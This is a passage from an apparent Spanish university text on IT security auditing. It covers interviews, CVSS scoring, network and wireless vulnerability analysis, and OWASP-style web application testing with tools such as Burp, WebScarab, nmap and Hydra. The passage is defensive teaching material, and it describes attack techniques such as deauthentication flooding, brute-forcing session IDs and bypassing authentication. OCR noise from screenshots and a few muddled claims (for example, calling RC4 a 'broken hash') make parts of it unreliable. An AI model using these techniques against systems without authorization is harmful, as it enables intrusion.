gue no se implemente es del 100%.

- Los recursos financieros de una organizacion deben invertirse de la mejor manera
mirando siempre el retorno de la inversion.

- Laorganizacion debe entender la seguridad como un proceso que nunca termina.
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9.- TECNICAS DE AUDITORIAS. Superar la auditoria.

El resultado de las pruebas técnicas sobre los sistemas TIC, es labor del auditor detectar
vulnerabilidades en la infraestructura de los mismos. El beneficio que el cliente de la auditoria
obtiene de la determinacion de estas vulnerabilidades se obtiene cuando se evalla el riesgo que
éstas conllevan [34].

No es posible indicar a priori qué técnicas de auditoria se deberdn emplear en una asignacion
especifica de auditoria sin antes realizar un analisis del alcance y objetivo de la auditoria. Sin
embargo, se puede constatar que las técnicas o herramientas a disposicion del auditor se pueden
agrupar en distintas categorias:

* Revision de documentacion.
* Entrevistas.
* Visitas a instalaciones del auditado y observacion de la operativa habitual.
* Pruebas técnicas sobre los sistemas de informacion y comunicaciones.
Ademas, se debe tener claro que la eleccion de las técnicas depende de muchos factores como:
* Alcance de la auditoria.
* Recursos dispuestos para realizar la auditoria.
* Experiencia del equipo auditor.
» Sistemas de informacion involucrados.

* etc.

9.1.- Revision de documentacion

Toda auditoria contrasta con la realidad de una organizacién con una normativa para obtener sus
conclusiones. El objeto de la auditoria serd comprobar si los controles se encuentran implantados
con arreglo a las mejoras précticas del sector, asi como comprobar si se han implantado como
indica la documentacion de los controles generada por el auditado. De hecho, uno de los aspectos
que el auditor revisara inicialmente sera las politicas y deméas normativas que se derivan de ellas.
Contando incluso en el caso de subcontratacion de los servicios de TI, el establecimiento de un
Acuerdo de Nivel de Servicio (SLA: Service Level Agreement), estos acuerdos de nivel de
servicio deben indicar, mediante métricas claramente establecidas, los parametros para poder
medir la calidad de servicio ofrecido.

9.2.- Entrevistas

Para comprobar la seguridad de los sistemas de informacién de una determinada organizacion, el
auditor tendra que realizar pruebas de auditoria que no estan relacionadas con aspectos puramente
técnicos, sino mas bien organizativos. He aqui un importante hito a destacar, el destacar los
aspectos organizativos antes que los puramente técnicos.

A modo de ejemplo, si tomamos como referencia los controles definidos por la Norma ISO/IEC
27002 para el control de acceso, veremos que los aspectos técnicos tienen mucho peso. Sin
embargo, esta norma incluye también pruebas de auditoria relacionadas con aspectos puramente
organizativos, como por ejemplo:

- ¢Qué politica de control de acceso existe?

- ¢Comoy cuando se comunica ésta a los usuarios?

- ¢Con qué frecuencia y de qué modo se realizan revisiones de la asignacién de permisos?

- ¢Aquién se informa de estas revisiones?

- ¢Existen pruebas de todo ello?
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La revision de aspectos organizativos debe afrontarse con pruebas no Gnicamente técnicas, sino
también por medio de conversaciones con los responsables organizativos. En caso de una accién
no conforme, puede acabar en una conclusion de auditoria débil, inapropiada e inadecuada.

9.3.- Visitas de auditoria

El auditor puede realizar "visitas de auditoria” en la que se realizaran observaciones directas sobre
circunstancias fisicas relevantes en distintas dependencias de la instalacion del auditado, como
por ejemplo el Centro de Procese de Datos (CPD) o comprobaciones sobre el modo de trabajar
del personal, en las que se podrén realizar entrevistas y en las que comprobar listas de
comprobaciones preparadas con antelacion.

El objetivo de estas visitas puede incluir:

Pruebas de cumplimientos de controles: se revisa la implantacion real y efectiva de controles
gue afectan a aspectos técnicos de las instalaciones del cliente:

- Controles de acceso fisico a las instalaciones.

- Condiciones de las salas de procesado de datos o datacenters, teniendo en cuenta el
control de acceso, suministro eléctrico, alarmas, etc.

- Seguimiento por parte de los empleados de las normativas de seguridad.

- Ejecucion de procedimientos operativos respecto de la seguridad de la informacion.

Complementa auditorias técnicas: con objetivo de detectar y evidencias problemas o
vulnerabilidades en los procesos organizativos. Con especial hincapié en los problemas
relacionados con el acceso fisico y la introduccion de equipamiento técnico no autorizado en
instalaciones técnicas (tanto las salas de CPD como las instalaciones de usuario).

Complementar aspectos tratados en una entrevista: la entrevista proporciona al auditor un
entendimiento rdpido de una determinada situacion. Se evitaran situaciones de informacion
sesgada en las que el interlocutor puede estar involucrado en el hecho en cuestion.

Para esto, existe la posibilidad de realizar una segunda ronda de entrevistas en las que se refinen
procedimientos de la primera entrevista.

En términos de suficiencia, validez, confiabilidad y relevancia de evidencias que se obtengan, a
partir de la visita de auditoria, dependera de tres niveles de visitas:

- Pruebas de observacion: de actividad, proceso o implantacion de un control y sus posibles
errores existentes.

- Pruebas de inspeccion: con el objetivo de mejorar la confianza en la conclusion, se realiza
para complementar la prueba de observacion con una investigacion activa para obtener
otros argumentos.

- Pruebas de analisis: analisis cuidadoso y detallado de la informacidon recopilada durante
la inspeccidn. El objetivo es una nueva mejora en la confianza en las conclusiones.

9.4.- Auditoria técnica de sistemas, comunicaciones y aplicaciones

La revision de este tipo de infraestructura se denomina "analisis de vulnerabilidades de sistemas
o0 redes". En segundo lugar, existen pruebas que buscan examinar como se implementan los
controles en un sistema, entorno o aplicacion concretos.

Destacar la diferencia entre el anélisis de vulnerabilidades de sistemas o redes y el analisis de
hosts se traduce, basicamente, en el punto desde donde se realiza el anélisis:
- Enel andlisis de sistemas o redes, las vulnerabilidades se buscan desde fuera del sistema,
mediante la red de comunicacion. Sin embargo:
- En el andlisis de hosts, las vulnerabilidades se buscan desde la maquina en cuestion,
teniendo acceso local a la misma.
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Con este tipo de analisis, podemaos realizar comprobaciones mas exhaustivas. Los resultados seran
similares a aquellos obtenidos por medio del analisis de vulnerabilidades de sistemas o redes.
Indicar que, en el primer caso se obtendran resultados més ampliados, gracias a las
comprobaciones que solo pueden hacerse con un acceso local al sistema: errores en la
configuracion de los permisos de acceso a ficheros, configuraciones contrarias a las politicas de
seguridad, software si bien impropio si bien malicioso, etc.

9.5.- Valoracién de las vulnerabilidades de los sistemas TIC

Como se ha indicado al principio, como resultado de las pruebas técnicas sobre los sistemas TIC,
el auditor detectard vulnerabilidades en la infraestructura de los mismos. El beneficio que el
cliente de la auditoria obtiene de la determinacion de estas vulnerabilidades se obtiene cuando se
evalUa el riesgo que éstas conllevan.

A continuacion, se repasan los distintos factores que determinan el riesgo de una vulnerabilidad:

Activos
Impactode la
Amenazas s ©  on
Explotan Provocan/ organiZzacion
(con una Generan
frecuencia
. s o 3
determinada) o & .
° 3 5
g V. 3
Reducen
Controles de seguridad — Riesgo
Justifican

Fig.128: Factores que determinan el riesgo.
Es habitual valorar el riesgo en funcion de:
* Valor del activo amenazado.
* Vulnerabilidades que podrian ser aprovechadas en un ataque.
* Probabilidad de que se materialice la amenaza.
* Valor del dafio que provocaria la materializacion de la amenaza.

Para valorar el riesgo que conlleva una vulnerabilidad, debe evaluarse una serie de factores que
estan fuera del alcance del auditor. El auditor no esta en disposicion de valorar correctamente la
criticidad y el aporte a la cadena de valor que puede tener el activo en cuestion. Sin embargo, si
que esta en condiciones de facilitar una vision de las caracteristicas de la vulnerabilidad, la cual
permitira al auditado determinar:

* Que tipo de ataque podria llegar a explotar la vulnerabilidad.
* En qué condiciones podria explotarse.
» Con qué facilidad podria explotarse.

* Queé tipo de impacto provocaria su explotacion (aungue el auditor no puede valorar este
impacto).

Teniendo en cuenta estos parametros, el auditor puede ofrecer una valoracion de la gravedad de
la vulnerabilidad como valor afadido a su trabajo. Por su parte, el auditado aportara el
conocimiento de la valoracién del activo y la estimacién del impacto.

La labor de valorar una amenaza no es sencilla. Con la gran cantidad de tipos de hardware,
aplicaciones, interrelaciones entre sistemas, etc., es muy dificil armonizar los métodos de
valoracion de una vulnerabilidad. Diferentes proveedores de servicios de avisos de
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vulnerabilidades emplean sistemas de puntacion propios, pero pocos son aplicables de manera
general en cualquier situaciéon. Ademas, sus mecanismos de puntacién no son publicos y revisados
por una comunidad abierta de especialistas. Por ello, para facilitar la labor de valoracion de las
amenazas, se ha desarrollado un sistema de puntacion coherente y sistemética de vulnerabilidades:
el CVSS (Common Vulnerability Scoring System).

Métrica de Métrica de i — Requisito de
SEpRtans cad impacto codigo exploit Meétrica confidencialidad
Vector de Impacto de Ba's!ca
ataque confidencialidad Nivel de modificada Requisito de
reparacion integridad
Complejidad Impacto de
de ataque integridad Informe de Requisito de
confianza disponibilidad
Privilegios Impacto de
necesarios disponibilidad
Interaccion
usuario
Ambito

Fig.129: Métricas de CVSS version 3.

Cada métrica recoge factores (o0 aspectos) comunes de una vulnerabilidad, y facilita una vision de
conjunto de las distintas facetas a considerar para gestionar la vulnerabilidad. EI método de
puntuacion consiste, basicamente, en valorar cada uno de estos factores. La valoracion no se
realiza numéricamente, sino mediante la seleccion de un calificativo (por ejemplo: ALTO, BAJO,
EN RED, LOCAL, MULTIPLE, SENCILLO, etc.). Estos calificativos se encuentran descritos en
la metodologia.

A cada valoracion (bien solo basica, bien basica y temporal, o basica, temporal y entorno) se le
puede otorgar un valor del O al 10 para poder asi priorizar el tratamiento de las vulnerabilidades.
Existen unas tablas de conversion de las valoraciones cualitativas de cada métrica a un valor
numerico y unas ecuaciones para realizar la evaluacion numérica final. En cualquier caso, cuando
se realiza una valoracion de criticidad de vulnerabilidades con CVSS, se debe facilitar el valor
numeérico final, y los usuarios finales del CVSS deben recibir siempre los calificativos de cada
métrica, puesto que son ellos quienes proporcionan la informacion descriptiva y en cierto modo
justifican la valoracion numérica.

La puntuacidn final de 0 a 10 puede ser trasladada a una valoracién cualitativa de acuerdo con

esta tabla:
Valoracion cualitativa | Valor CVSS
Ninguno 0
Bajo 0.1-3.9
Medio 4.0-6.9
Alto 7.0-8.9
Critico 9.0-10.0

Tabla 19; Valoracion CVSS.

Cada una de las métricas y factores a evaluar tiene la siguiente finalidad:
1) Métrica basica: esta métrica representa las caracteristicas intrinsecas de la vulnerabilidad,
las cuales no dependen de las circunstancias del entorno ni del tiempo. Constituye la parte
mas técnica de la valoracion, y es muy objetiva.
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2) Métrica de la temporalidad: Representa las caracteristicas propias de la vulnerabilidad
(no del entorno es que se presente) que pueden evolucionar con el tiempo.

3) Métrica del entorno: esta métrica recoge las circunstancias propias de cada entorno en
que se esté analizando la vulnerabilidad. Obviamente, depende del entorno.

Destacar el valor "sin definir":

Hay que notar que el valor "sin definir" se ha dispuesto para las situaciones en que no se desea
valorar un determinado parametro (por falta de informacion suficiente). Este valor hace que el
factor no se tenga en cuenta en las formulas para el célculo final.

9.6.- Técnicas de analisis de vulnerabilidades de red o de sistemas

Los analisis de vulnerabilidades no seran capaces de detectar ciertos tipos de puertas traseras,
determinados tipos de errores en la configuracion de los firewalls, o vulnerabilidades explotables
Gnicamente en modo local.

Recordemos que la idea principal sobre este tipo de pruebas es que se realizan desde algunos
puntos de la infraestructura (por ejemplo, desde Internet o desde segmentos de la red corporativa).
Es decir, el analisis de la seguridad no se realiza mirando la configuracion de los elementos que
componen los controles, sino que se evalla utilizando métodos similares a los que utilizaria un
intruso que deseara atacar la infraestructura. Esta es la razén por la que, para la explicacion de las
distintas herramientas, emplearemos la misma metodologia que seguiria un intruso.

Las fases y tareas basicas que componen un andlisis de vulnerabilidades de sistemas o redes se
listan a continuacion de forma resumida. Sin embargo, debemos tener en cuenta que cada auditor
es libre de seguir su propia metodologia. La que se presenta aqui es lo més usual y esta respaldado
por multitud de metodologias reconocidas internacionalmente, y es implementado por un gran
namero de aplicaciones:

» Enumeracion de redes para identificar redes IP y servidores dentro del alcance de la auditoria.
* Escaneo masivo de direcciones IP y puertos accesibles desde los distintos puntos de analisis.
* Analisis automatizado de vulnerabilidades.

« Examen manual de los resultados.
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Inicio de la
Auditoria
Enumeracion de sistemas:
+ Consultas a NIC
( + Consultas a DNS
* Busquedas de informacion publica
Informacion basica
sobre hosts, servicios,
nombres de usuarios,
etc.
Escaneo de redes
\ . * Identificacion de puertos IP,
puertos TCP y UDP.
IPs y puertos TCP y UDP Resultados completos de
accesibles escaneo de la red
Identificacion de ¥
servicios Analisis a bajo nivel de la red para
identificar las caracteristicas de filtrado
Informacion sobre sistemas operativos l
y versiones de servicios accesibles Conocimiento sobre la
politica de filtrado

aplicada por los firewall

Investigacion de vulnerabilidades:
+ Informacién de fuentes publicas de
informacion (CVE Mitre, Secunia,
ALTAIR, etc.)
+ Comprobacién de la existencia de
vulnerabilidades Y

Informe de la auditoria técnica de la
infraestructura

R
Fig.130: Fases de un andlisis de vulnerabilidad de red.

9.6.1.- Enumeracion e identificacion de redes y subsistemas

Esta fase se realizard cuando la organizacion desee conocer el grado de conocimiento de sus
infraestructuras, que puede obtenerse desde el exterior. A veces, si se tiene la intencion de realizar
alguna prueba de ingenieria social, esta fase se realizarda también para conocer el grado de
conocimiento de sus infraestructuras que tienen las personas que las operan y mantienen. En esta
fase, no se identifican vulnerabilidades del sistema, ya que Unicamente se analizan fuentes de
informacion publica. A veces, suele denominarse también "analisis de inteligencia competitiva",
donde el concepto de "inteligencia" se entiende como la informacion que se ha obtenido,
analizado, comprendido y aprovechado.

En esta fase, se emplearan fuentes de informacion legales y pablicas para determinar, lo mejor
posible, la estructura TIC bajo el alcance de la auditoria. Se intentaran identificar:

* Subredes.
* Direcciones IP de hosts.
« Funciones que realiza cada sistema.

« Nombres de usuarios (inferidos a partir de las direcciones de correo del personal, por ejemplo).
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* Teléfonos.
« Relaciones entre personas y sistemas.

« Informacidn técnica sobre sistemas (sistemas operativos, herramientas empleadas, etc.) que se
haya podido filtrar en lugares de informacion publica (foros de soporte, por ejemplo);

* Etc.

Es importante aclarar: que el trabajo del auditor de sistemas informéticos esta cercano al del
investigador de seguridad TIC, pero no es el mismo.
- El trabajo de un investigador de seguridad TIC no se centra en detectar vulnerabilidades
ya conocidas, sino que pretende buscar nuevas ain no conocidas. En cambio,
- El auditor se centra en comprobar cdmo se han implementado los controles técnicos de
seguridad, y en identificar las vulnerabilidades conocidas que les puedan afectar.

La identificacion de una vulnerabilidad conocida revela un error en el mantenimiento de
los sistemas.

Revision de seguridad en redes inalambricas 802.11

Toda implantacién de redes inaldmbricas se tiene que realizar teniendo presente que, ademas de
los riesgos habituales que conllevan los sistemas TIC, por su peculiaridad, aquéllas se encuentran
expuestas a nuevos riesgos. Estos riesgos se pueden recopilar en las siguientes categorias:

* Ataques de insercion de tréafico.
* Intercepcion y/o monitorizacion del trafico de la red inalambrica.
« Denegaciones de servicio.

Destacar gue, para aplicaciones criticas es posible que no sea recomendable el uso de esta
tecnologia, aunque los beneficios que conlleva pueden llevar a la organizacion al punto de asumir
los riesgos. En cualquier caso, es un riesgo que la organizacion no debe desdefar.

Ataques de insercidn de tréafico:

Junto con la instalacion de Puntos de Acceso (APs) no autorizados (incluso ser instalados por
personal propio), usuarios no autorizados pueden intentar hacer uso de la red inaldmbrica. Para
ello, antes tendradn que asociarse al punto de acceso, lo cual puede resultar sencillo 0 no
dependiendo de si se implementan medidas de cifrado en la red inaldmbrica, o algin otro
mecanismo como puede ser la limitacion por direcciones MAC. Esta ultima medida (limitacion
por direcciones MAC), sin embargo, no es efectiva, puesto que el atacante puede examinar todos
los paquetes que circulen por la red inalambrica, leer las direcciones MAC autorizadas (aunque
se emplee cifrado, las cabeceras de la capa de acceso al medio no van cifradas) y cambiar su
direccion MAC para hacer uso de la red cuando no esté el usuario legitimo.

Destacar aqui un método de Ingenieria social en el que en muchos lugares publicos como
Aeropuertos, Estaciones de tren y autobuses, muchos hackers instalan APs no autorizados donde
"llaman la atencién™ a los clientes a asociarse a sus APs y de una manera ni protegida ni cifrada
con la consiguiente captura de contrasefias, etc.

Intercepcion y/o monitorizacion del trafico de la red inaldambrica:

Por su puesto descartar el protocolo WEP y afadir al protocolo actual méas implementado WPA.-
PSK, actualmente mejor WPA2 con AES, ya que WPA usa cifrado RC4 actualmente indicado
como de hash roto. Emplear fortificacion de seguridad afiadiendo la implementacion de VPN +
Servidores RADIUS.
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Denegacidn de servicio:

De manera intencionada, un atacante dispone de diferentes técnicas para inutilizar una red
inaldmbrica: inundacion de la red con tramas de desautenticacion y de desasociacion, envio de
tramas de autenticacion mal formadas (que causen que el punto de acceso desautentique al usuario
legitimo), saturacion de la memoria de los puntos de acceso con solicitudes de autenticacion, etc.

9.7.- Técnicas de analisis de vulnerabilidades de aplicacion

Las auditorias de aplicacion tienen, por objetivo, la verificacién de aquellos controles aplicados
sobre las propias aplicaciones y de aquellos que éstas incorporan en su logica. Estos controles
pueden tener por objeto aspectos generales, como aplicar un control de acceso a la informacion,
con sus fases de identificacion, autenticacién y posterior autorizacion. También pueden tener un
objetivo més especifico, como impedir que se genere dos veces la misma factura en una aplicacion
de facturacion. Este altimo tipo de controles se suele denominar control de aplicacidn o de légica
de negocio.

Los controles genéricos que se suelen encontrar en los catalogos de buenas practicas son también
extremadamente heterogéneos, y no es posible indicar una Unica lista de pruebas a realizar. Sin
embargo, si se puede recomendar el uso de las siguientes técnicas:

* Analisis estatico.
* Anélisis de la configuracién / parametrizacion de los sistemas.

« Analisis dinamico: analisis de aplicaciones web.

9.7.1.- Andlisis estatico

El anélisis estatico consiste en la revisidn sistematica del cédigo fuente de una aplicacion, con el
propésito de corregir errores en las primeras fases de su ciclo de vida. De este modo, se mejora la
calidad general del software y, al mismo tiempo, se reduce el nimero de vulnerabilidades
potenciales en un sistema. Sin lugar a dudas, un analisis de c6digo es la mejor prueba que se puede
realizar para prevenir las vulnerabilidades més comunes.

Ejemplos de vulnerabilidades comunes son:
- Falta de control de las cadenas de entrada.
- Condiciones de carrera.
- Gestién incorrecta de la memoria.
- Desbordamiento de buffers.

Este analisis ahorra también muchos costes a las organizaciones desarrolladoras de software. Sin
embargo, este tipo de pruebas requeriran de una gran experiencia por parte del auditor, y gran
conocimiento del lenguaje en que se encuentre desarrollada la aplicacion.

Flawfinder

Flawfinder busca fallos/defectos potenciales de seguridad en el codigo fuente C/C++. Integrable
en Editores de texto y Entornos Integrados de Desarrollo. Localizado en
http://www.dwheeler.com/flawfinder

Flawfinder opera haciendo uso de una base de datos de funciones C/C++ con los llamados
problemas identificados (well-known problems). Por ejemplo:
e Riesgos de Buffer overflow:
o strepy(), streat(), gets(), sprintf(), y la familia scanf().
Por ejemplo, a fecha de 2013, se consideraba que la funcion strcpy (a,b) reportaba
un Riesgo de nivel 4 (Risk level 4): no comprueba el posible desbordamiento de
buffer del destino de la copia. Se recomienda usar strncpy o stricpy.
e Formatos de srtings:
o [V][f]printf(), [v]snprintf() y syslog().
e Condicionales de ejecucidn:
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o access(), chown(), chgrp(), chmod(), tmpfile(), tmpnam(), tempnam(), y
mktemp().
e Meta-caracteres potenciales peligrosos:
0 La mayoria de la familia exec(), system(), popen().
e Adquisicion de nimeros aleatorios
o Por ejemplo random()

Fortify source code analisis

Herramienta comercial que se integra con los entornos integrados de desarrollo (IDE) mas
habituales y permite realizar una revision de codigo en tiempo de codificacion. Soporta un gran
namero de lenguajes.
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Filter Set: |Secaity Audtor View '| T My Issuss _,"_m_- 10t Sy | & flwershogModel.pho 52 (&
o L ?php
R £ i e | = f
e = Zirequire_once ("NDB2.php") :
Critical {2) Hidden (0) 3|
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3 . -
| “D"_nsr o 5 function getFlowersByColor() (
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= (2] SOL Indection - [0/ 1] mysql_connect ("localhost™, FLOWERSHOP_USR, FLOVERSEOP_PUT
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§rows = fguery->fetchill(): L
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A Phoi10 - myed_queny(0) skow 2n attacher to modfy the
Statement’s IEANING OF tor axet e
I}) arbitrary SOL commands.
lick to- sopend comment (Clri+Enter to save) [0
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Fig.131: Herramienta Fortify analizando codigo PHP.

Otras herramientas como

e IBM Appscan: herramienta de analisis estatico de codigo para aplicaciones web y
moviles.

e Veracode: Este es otro de los lideres en cuanto a andlisis de codigo que facilita gran
namero de herramientas, desde analizadores de cddigo estatico a soluciones completas
integradas de gestion del ciclo de desarrollo del software.

e LAPSE: Especialmente disefiada para servir de apoyo en el proceso de revision de cddigo
de aplicaciones Java J2EE. Permite localizar vulnerabilidades potenciales en aplicaciones
web (manipulacion de los parametros de entrada, manipulacion de las cabeceras de los
mensajes HTTP, manipulacion de cookies, inyecciones de codigo en los pardmetros de
entrada, etc.). Esta herramienta se integra con el entorno de desarrollo Eclipse y permite
que la revision de codigo se realice en paralelo a la codificacion.
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9.7.2.- Andlisis dinamico: andlisis de aplicaciones web

En este tipo de pruebas, el auditor analizard el comportamiento del software cuando éste se
encuentra en ejecucion. Este tipo de tarea es altamente especializada, y requiere unos
conocimientos técnicos elevados de programacion, debuging y seguridad.

El nimero de aplicaciones web que emplean las organizaciones ha crecido recientemente de
forma considerable. Esto es debido a la aparicion de un nuevo esquema de aplicacion en tres
capas: la capa cliente —el browser—, la capa de presentacion —el webserver—, y la capa que contiene
las bases de datos y otros sistemas que implementan la légica de negocio —los backends—. Este
tipo de aplicaciones web ha crecido notablemente, y muchos sistemas que utilizaban una
arquitectura clésica cliente/servidor han migrado ahora a este nuevo esquema.

En base a la metodologia descrita por OWASP, la auditoria de una aplicacion web se compondria
de las siguientes fases o pruebas:

* Recogida de informacion: se compone de siete subprocesos.

1) Identificacion del servidor web: respecto de este punto, indicar que actualmente las
herramientas indicadas mas utilizadas son Netcat y HTTPPRINT, actualmente se
desconoce su potencial para funcionar con HTTPS.

2) Identificacion de las aplicaciones: para identificar las diferentes aplicaciones que se
ejecutan detras del servidor web, se pueden realizar las siguientes acciones:

o0 Identificar si existen diferentes URLS.

o0 Investigar si en la IP existen otras aplicaciones instaladas en otros puertos
distintos a los estandares (https:443, 8080, por lo general usado erréneamente en
alternativa al 8080, puerto 8000, etc.). Para ello se usara la herramienta nmap.

0 Para identificar hosts virtuales y encontrar los nombres de dominio asignados a
la IP auditada:

=  Comprobar la posibilidad de realizar transferencias de zona en el
servidor DNS del dominio examinado.

= Comprobar la posibilidad de realizar resolucion inversa de nombres
(reverse DNS query).

= Conectar con servicios en Internet para examinar los registros DNS, o
usar directamente buscadores tradicionales.

3) Mineria de datos: se busca extraer toda la informacion hospedada bajo la aplicacion web
analizada. No deberia existir informacion accesible de forma publica con datos sensibles.
Mediante esta prueba, se examinan todos los enlaces accesibles en la aplicacion,
lo que puede revelar informacion confidencial o al menos relevante acerca
de la aplicacion web. Por el simple hecho de estar expuesta en Internet, el objeto de esta
prueba sera comprobar el "escape o filtracion de informacion” (information leaking) que
se produce en una aplicacion. Del mismo modo también se examinaran sitios web de
caracter técnico (foros, mailing lists, etc.) en basqueda de informacion que el personal
interno del cliente pudiera haber publicado y que pudiera resultar relevante.
Herramientas para estas funciones son:

0 Herramientas Spider:

= Burp Spider incluida dentro del programa Burp Suite.
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1wt-g

Content-Length: 850
<!DOCTYPE html PUBLIC "-//W3C//DID XHINL 1.0 Tranmsitional//EN"

"http:///www.wd. org/ TR/ xhtml1/DTD/xhtmll-transitional.dtd">
<html xmlns="htetp://vwv.wd.org/ 1999/ xheml” > v

[+ > i 3| @B LIJ LE_J Type a ssarch term 0 matches

Fig.132: Herramienta BURP Suite.

= WebScarab: que utiliza en plugin spider para realizar la tarea que nos
interesa.

i
File View Tools Help
[ Extensions | SessioniD Analysis | Scripted | Fragments | Fuzzer | Compare | Search |

Summary i Messages [ proxy | Manual Request [ WehServices [ spider |
Allowed Domains| “localhost ™ |Forbidden Paths| |
Synchronise cookies Fetch Recursively

| FetchTree | | Fetch Selection |
Headers [ Stop

S veseonss |

Fig.133: Herramienta WebScarab.

157



4)

5)

6)

7)

UNIVERSITAT
POLITECNICA EC!

DE In

DE VALENCIA TELECOMUNICACIO!

= QOtras herramientas: buscadores web, que poseen "robots" que tienen la
virtud de examinar todos los enlaces de cada web. Por ello, son en
realidad potentes herramientas de mineria de datos.

Inspeccion de los codigos de error de la aplicacion: En caso de generarse un error en la
aplicacion web, la informacion que se muestre debe ser la menor posible. Es decir, no han
de ofrecerse detalles técnicos sobre la infraestructura o sobre la naturaleza del fallo.
Determinar la arquitectura de los sistemas: Es importante determinar el tipo de plataforma
en la que se encuentra la aplicacion con la mayor exactitud posible. Se tratara de
identificar los elementos que intervienen en la prestacion de servicios, como:
= Firewalls: identificables mediante la herramienta nmap.
= Proxies o firewalls de nivel de aplicacion: identificables mediante la
herramienta netcat.
= Servidor de aplicaciones: identificables a partir de la observacion de los
recursos que ofrece la aplicacion auditada.
= Backend: identificable a partir de la navegacién por la aplicacion. Los
Backend que se pueden encontrar son:
e Bases de datos de autenticacion: LDAP, BBDD Relacional,
RADIUS.
e Base de datos para la gestion de la informacion.
Interfaz de administracién: Punto candidato a sufrir intentos de ataque por parte de
intrusos. Se debera identificar si existen interfaces de administracion accesibles desde el
punto de prueba. En caso afirmativo, se debera estudiar que informacién proporciona este
interfaz y que mecanismos de control implementa. Identificar todos estos interfaces y
probar su acceso sobre todo desde el exterior (localizaciones publicas, Internet).
Una vez mas, indispensable e infalible el uso de nmap.
Mantenimiento de la aplicacion: las labores de mantenimiento y soporte de la aplicacion
pueden dar lugar a filtraciones de informacion hacia el exterior. En ocasiones, se incluyen
comentarios o funciones de debugging en la parte cliente que podrian estar revelando
informacidn acerca del funcionamiento interno de la aplicacion. Comprobar también
respecto de la existencia de versiones antiguas.
Se pueden llevar a cabo diferentes pruebas para intentar determinar la existencia
de viejos archivos o backups que todavia esté sirviendo la aplicacion.
0 Inferencia a partir del esquema de nombres utilizado en el contenido publicado.
El objetivo es encontrar archivos viejos, ficheros de texto y similares.
o Examen de comentarios en el codigo. Por herramienta WebScarab.
o Examen de contenidos no referenciados, obtenidos en la mineria de datos.
0 Busqgueda de contenidos en la cache de Google.

* Revision del proceso de identificacion y autenticacién: en el establecimiento de sesién por
parte de un usuario, en concreto de una aplicacion web, una vez realizado el proceso de
identificacion y autenticacion, se suele otorgar al usuario un elemento (token de identificacion)
que identifica univocamente la sesion establecida. Este token de identificacion puede ser una
cookie 0 un nimero de sesion pasado como parametro en una peticion http.

Para revisar el proceso de identificacion y autenticacion, se seguiran los siguientes ocho pasos:

1)

2)

Determinar la topologia de los tokens de identificacion: determinar longitud, contenido,
coémo se hacen hasta llegar a la aplicacion, si son recuperables, nimero maximo de
intentos, etc. Concluyendo si el nimero de tokens utilizados y su topologia son adecuados
en el contexto de la aplicacion.

Revisar el uso de contrasefias por defecto o de diccionario: evitar contrasefias predecibles,
faciles, etc. Herramienta a utilizar Hydra.
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Comprobar vulnerabilidad a ataques de fuerza bruta: evitar el uso de contrasefias que se
puedan romper en un tiempo razonable mediante ataques de fuerza bruta.

Comprobar efectividad del marco de autentificacion: una aplicacién con autenticacion
debe controlar, en todo momento, que no se pueda evitar el marco de autentificacion para
acceder de forma directa a los recursos de la misma. Para determinar si es posible evitar
el marco de autenticacion, se disefian una serie de test descritos a continuacion:

0 Acceso directo a recursos de la aplicacion: consiste en disefiar peticiones directas
a contenidos protegidos de la aplicacién, sin pasar previamente por la
autenticacion.

0 Modificacién de pardmetros relacionados con la autenticacion: estudiar la
existencia de variables relacionadas con la autenticacion que puedan ser
modificadas por el usuario para acceder a recursos protegidos.

0 Andlisis del ID de sesion: mediante la herramienta Webscarab.

0 Inyeccidn: respecto a validacion de los datos de entrada.

Revisar los mecanismos de gestion de ficheros: es habitual el acceso a archivos del
sistema de ficheros para servir informacion u obtener cddigo. En ocasiones, la seleccion
del archivo accedido puede estar determinada por parametros de la peticién. EI manejo
de los archivos debe estar correctamente implementado, para evitar el acceso a recursos
o0 la ejecucion de cadigo sin autorizacién.

Para realizar estas pruebas se pueden utilizar las mismas herramientas descritas
anteriormente: Burp y Webscarab.
Revisar el mecanismo de recuperacion de contrasefias: en caso de olvido o referente, si la
aplicacion permite al usuario recuperar la contrasefia, el mecanismo utilizado no debe
introducir ninguna vulnerabilidad en el marco de autenticacion. Para ello, se ha de
estudiar si existen mecanismos para que el usuario recupere la contrasefia, el modo en que
funcionan y si pueden existir vulnerabilidades. Por supuesto, se debe prevenir almacenar
la contrasefia en el navegador. Para ello, verificaremos que desactivamos la propiedad de
"autocompletar” de los navegadores.
Revisar el proceso de logout: la aplicaciéon debe tener implementado un mecanismo de
logout para evitar:

0 Reutilizar sesiones.

o Disponer la desconexion automética cada cierto tiempo de inactividad del

usuario.

Durante el proceso de revision de esta funcionalidad, se debe verificar que el proceso de
logout elimina efectivamente:

0 Lasesion del usuario.

0 Las cookies en el cliente.

o Comprobar que la sesion no se puede reutilizar.

Para realizar estas pruebas, sera necesario el uso de un proxy web que permita estudiar y
alterar el flujo de informacion entre el navegador y la aplicacién web. Las herramientas
que pueden utilizarse son Burp y WebScarab.

Revisar la gestion de la caché del navegador: controlar los contenidos que se guardan en
la caché del navegador. Con esto se garantiza fuga de informacion. También usable
Webscarab.

* Revision de la gestion de sesiones.

Debido a que el protocolo HTTP sobre el que se implementan las aplicaciones web no almacena
informacién de estado, es muy importante revisar la implementacion que realiza la aplicacion
para mantener el estado de la conexion y controlar la interaccion con el usuario. En esta fase, se
realizarén las pruebas para revisar la gestion de las sesiones de usuario.
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Se distingues tres subprocesos:

Y]

2)

3)

Estudio del esquema de sesiones: Para gestionar una sesion, se utilizan tokens de sesion.
Estos tokens pueden ser principalmente de tres tipos:

o Cookies.

0 Numeros de sesion transportados en parametros de una peticién GET, o

o Pardmetros pasados por una peticion POST contenidos en campos ocultos de

formularios.

En cualquier caso, los tokens de sesion deben cumplir ciertas propiedades:

0 Ser aleatorios.

o Unicos.

0 Resistentes a analisis estadisticos o criptograficos y

o Evitar la fuga de informacion sensible.

Se examinara una muestra significativa de tokens en busca de patrones o informacion
sensible (incluso ofuscada), y se revisardn las condiciones bajo las que se reutilizan los
tokens. Esta misma prueba servira para determinar si los tokens de sesién se generan de
una forma predecible y si son valores realmente aleatorios En los casos que se considere
adecuado y factible, se intentaran realizar ataques de fuerza bruta para intentar obtener
ID de sesion validos.

También valida aqui la herramienta Webscarab que permite manipular los tokens de
sesion y realizar estudios acerca de su aleatoriedad.

Destacar aqui el uso de la herramienta médulo de fuzzing integrada en Webscarab y Burp
0 bien el fuzzer jbrofuzz.

Java Bro Fuzzer 0.3
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Fig.134: Herramienta Jbrofuzz.
Estudio de la exposicion de los tokens de sesion: la aplicacion debe prevenir que los
